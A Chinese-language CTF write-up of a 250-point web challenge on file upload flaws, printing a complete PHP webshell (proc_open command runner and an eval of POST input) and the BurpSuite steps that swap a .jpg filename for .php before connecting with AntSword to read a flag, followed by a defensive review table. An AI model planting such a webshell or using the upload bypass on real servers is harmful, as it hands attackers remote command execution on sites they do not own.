来源: 某 CTF 靶场 · Web方向 · 250 pts
前置知识: 网安筑基:Web后端Part1——从PHP基础到文件上传与WebShell
本篇重点: 绕过客户端校验 + 服务端扩展名校验 + 获取WebShell + 拿下Flag


前情提要

在前面的文章中,我们已经初步了解了文件上传漏洞的原理、危害以及 WebShell 的基本形态。

本文,我们将通过一道真实的 CTF 靶场题目,完整复盘一次文件上传漏洞的实战攻击流程:从制作 WebShell,到绕过层层校验,再到用中国蚁剑连接目标服务器,最终拿到 Flag。

完整攻击链路:

上传伪装WebShell (.jpg) → BurpSuite拦截修改扩展名 → 上传成功
→ 中国蚁剑连接WebShell → 浏览服务器文件 → 读取flag.txt → 提交过关

第一步:读题 — 理解题目背景与目标

题目详情

题目名称:上传漏洞攻击(250 pts)

题目背景: 一家在线图片分享网站为了方便用户上传图片,提供了一个图片上传功能。但是,由于网站开发人员的疏忽,上传功能存在安全漏洞,允许上传可执行文件。你的任务是利用这个漏洞,上传一个Webshell,获取服务器的控制权限。

打开实例

点击「创建实例」后,获得靶场访问地址(由于为付费靶场,本文对靶场地址已进行脱敏处理):

ctf.XXXXXXXX.cn:37948

请添加图片描述

请添加图片描述


第二步:分析上传页面 — 寻找突破口

访问目标地址 ctf.XXXXXXXX.cn:37948,页面为典型的「在线图片分享网站」,仅包含一个文件上传表单。

突破口在哪里? 典型的文件上传漏洞场景中,最常见的漏洞点是:服务端对上传文件的扩展名和内容校验不足。我们需要制作一个伪装文件,配合 BurpSuite 拦截请求,验证服务端校验逻辑是否存在缺陷。

请添加图片描述


第三步:制作 WebShell — 武器化准备

什么是 WebShell?

WebShell 是运行在 Web 服务器上的后门脚本,攻击者通过它可以在服务器上执行任意系统命令。PHP 类型的 WebShell 配合 PHP 环境运行,是最常见的攻击手法之一。

本系列前文已详细介绍 WebShell 的两种形态,此处直接给出实战代码。

完整 PHP WebShell 代码

新建文件 Webshell.txt,内容如下:
请添加图片描述

具体代码如下(以下代码仅供参考学习,请勿用于任何未经授权的渗透测试):

<?php
// 系统命令执行核心函数(支持 proc_open)
// 以下代码仅供参考学习,请勿用于任何未经授权的渗透测试
function runcmd($cmd) {
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
    );
    $process = proc_open($cmd, $descriptorspec, $pipes);
    if (is_resource($process)) {
        fwrite($pipes[0], $cmd);
        fclose($pipes[0]);
        $output = stream_get_contents($pipes[1]);
        fclose($pipes[1]);
        proc_close($process);
        return $output;
    }
}

// 支持蚁剑POST连接(密码cmd)
if(isset($_POST['cmd'])){
    @eval($_POST['cmd']);
}

// 支持浏览器直接GET命令执行
if(isset($_GET['cmd'])){
    echo "<pre>".runcmd($_GET['cmd'])."</pre>";
}
?>

这段 WebShell 包含三层功能:

功能 实现方式 使用场景
系统命令执行 proc_open() 调用系统命令 浏览器直接 GET 传参
蚁剑连接支持 eval($_POST['cmd']) 中国蚁剑等管理工具连接
命令结果输出 <pre> 格式化输出 直观查看命令执行结果

第四步:绕过前端校验 — BurpSuite 登场

第一层绕过:伪装文件扩展名

Webshell.txt 改名为 Webshell.jpg——此时文件系统层面它已经是 .jpg 后缀,可以骗过前端的文件类型检查。

请添加图片描述

选择文件并上传

在上传页面选中 Webshell.jpg,点击上传。
请添加图片描述

此时,Web 浏览器发送的 HTTP 请求中,文件后缀是 .jpg——这正是我们想要的伪装。

打开 BurpSuite,拦截请求

在上传之前,先打开浏览器代理插件(本案使用 FoxyProxy),将流量导向本地 BurpSuite:

  • FoxyProxy 切换到 Burp(China) 代理
  • BurpSuite 开启 Intercept on,开始拦截请求

请添加图片描述

请添加图片描述

拦截并修改请求 — 第二层绕过

切换到 Firefox 浏览器,选中 WebShell.jpg,点击上传。

BurpSuite 立即拦截到发往 http://ctf.XXXXXXXX.cn:37948/upload.php 的 POST 请求。

第一次拦截(伪装为图片上传):

POST http://ctf.XXXXXXXX.cn:37948/upload.php
Content-Type: multipart/form-data

filename="Webshell.jpg"
Content-Type: image/jpeg

此时,服务端可能只检查了 Content-Type 或扩展名,并未真正验证文件内容。我们需要将 Webshell.jpg 的扩展名改为 .php——这是绕过服务端扩展名校验的核心操作。

点击 Forward 放行第一个请求,再次拦截:

BurpSuite 再次拦截到同一上传请求,这一次我们直接修改关键字段:

# 修改前
filename="Webshell.jpg"
Content-Type: image/jpeg

# 修改后
filename="Webshell.php"
Content-Type: image/jpeg

filename.jpg 改为 .php,同时 Content-Type 保持为 image/jpeg(伪装),然后点击 Forward 发送修改后的请求。
请添加图片描述
请添加图片描述

请添加图片描述

验证上传结果

页面返回:

文件 Webshell.php 已上传。

请添加图片描述

WebShell 上传成功!此时 Webshell.php 已存在于服务器的 /uploads/ 目录下。

关闭 BurpSuite 代理

上传完成后,关闭 Intercept off,恢复浏览器正常访问。
请添加图片描述

关键点: 修改的是 HTTP 请求中的 filename 字段(用户可随意构造),而非文件本身的扩展名。前端骗过初筛,BurpSuite 骗过服务端校验,实现双层绕过。


第五步:连接 WebShell — 用中国蚁剑接管服务器

添加 WebShell 连接

打开中国蚁剑(AntSword),新建连接配置:

配置项 内容
URL地址 http://ctf.XXXXXXXX.cn:37948/uploads/Webshell.php
连接密码 cmd
编码设置 UTF-8
连接类型 PHP

点击「添加」,测试连接成功。
请添加图片描述
请添加图片描述


第六步:翻找 Flag — 拿下靶场权限

浏览服务器文件系统

蚁剑成功连接后,左侧展示服务器目录树(Linux 环境),我们一路定位到根目录 /

蚁剑的文件管理界面显示了完整的 Linux 根目录结构:

/ → var/www/html/uploads → (Webshell.php 已在此)

请添加图片描述

切换到根目录 /,发现根目录下有一个关键文件:

flag.txt  — 权限 0644,大小 42 字节

请添加图片描述

读取 Flag

双击 flag.txt 或在蚁剑中直接打开,文件内容为:

flag{17a26174-1aa2-4f52-83a9-XXXXXXXX}

请添加图片描述

这就是我们需要的 Flag!


第七步:提交 Flag — 完成挑战

回到 CTF 靶场题目页面,将 Flag 粘贴至提交框,点击「提交 flag」。

页面提示:该题目已被解出 ✅

恭喜通关!

请添加图片描述
请添加图片描述


技术总结:完整的攻击链路

┌─────────────────────────────────────────────────────────┐
│                    攻击链路全景图                         │
├─────────────────────────────────────────────────────────┤
│                                                         │
│  1. 制作 WebShell (.php)                                │
│     └─ proc_open() + eval($_POST['cmd'])                │
│                                                         │
│  2. 伪装扩展名                                           │
│     └─ 改名为 .jpg 骗过前端校验                            │
│                                                         │
│  3. BurpSuite 拦截请求                                   │
│     └─ 修改 filename: .jpg → .php                       │
│                                                         │
│  4. 服务端未校验扩展名                                     │
│     └─ WebShell 被保存为 .php 可执行文件                   │
│                                                         │
│  5. 中国蚁剑连接 WebShell                                 │
│     └─ POST cmd=ls / → 成功执行系统命令                   │
│                                                         │
│  6. 翻找服务器文件系统                                     │
│     └─ 定位到 /flag.txt                                  │
│                                                         │
│  7. 读取 Flag 并提交                                     │
│     └─ flag{17a26174-1aa2-4f52-83a9-XXXXXXXX}           │
│                                                         │
└─────────────────────────────────────────────────────────┘

防御复盘:这道题暴露了哪些问题?

作为安全从业者,我们不仅要会攻击,更要理解防御。以下是本题场景中服务器存在的安全问题:

问题 位置 风险等级 正确做法
前端仅做文件扩展名检查 客户端JS 前端检查不可靠,只能作为体验优化
服务端未校验文件扩展名白名单 upload.php 极高 应配置白名单(仅允许 .jpg/.png),拒绝 .php
服务端未校验文件内容 upload.php 极高 使用 getimagesize()exif_imagetype() 验证真实图片头
上传目录可执行 /uploads/ 上传目录应禁止 PHP 执行(.htaccess 或 nginx 配置)
未随机化文件名 upload.php 使用 uniqid() + 随机字符串重命名上传文件
未限制上传文件大小 upload.php 配合服务器配置,限制单文件大小

靶场推荐

靶场 难度 特点
DVWA ★★ 经典 Web 安全靶场,文件上传模块适合入门
Upload-Labs ★★~★★★ 专注文件上传漏洞,20+ 关卡覆盖各种绕过姿势
Vulhub ★★★ 容器化漏洞环境,支持 Docker 一键部署

本文仅供学习与研究使用,请勿用于未授权的渗透测试。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐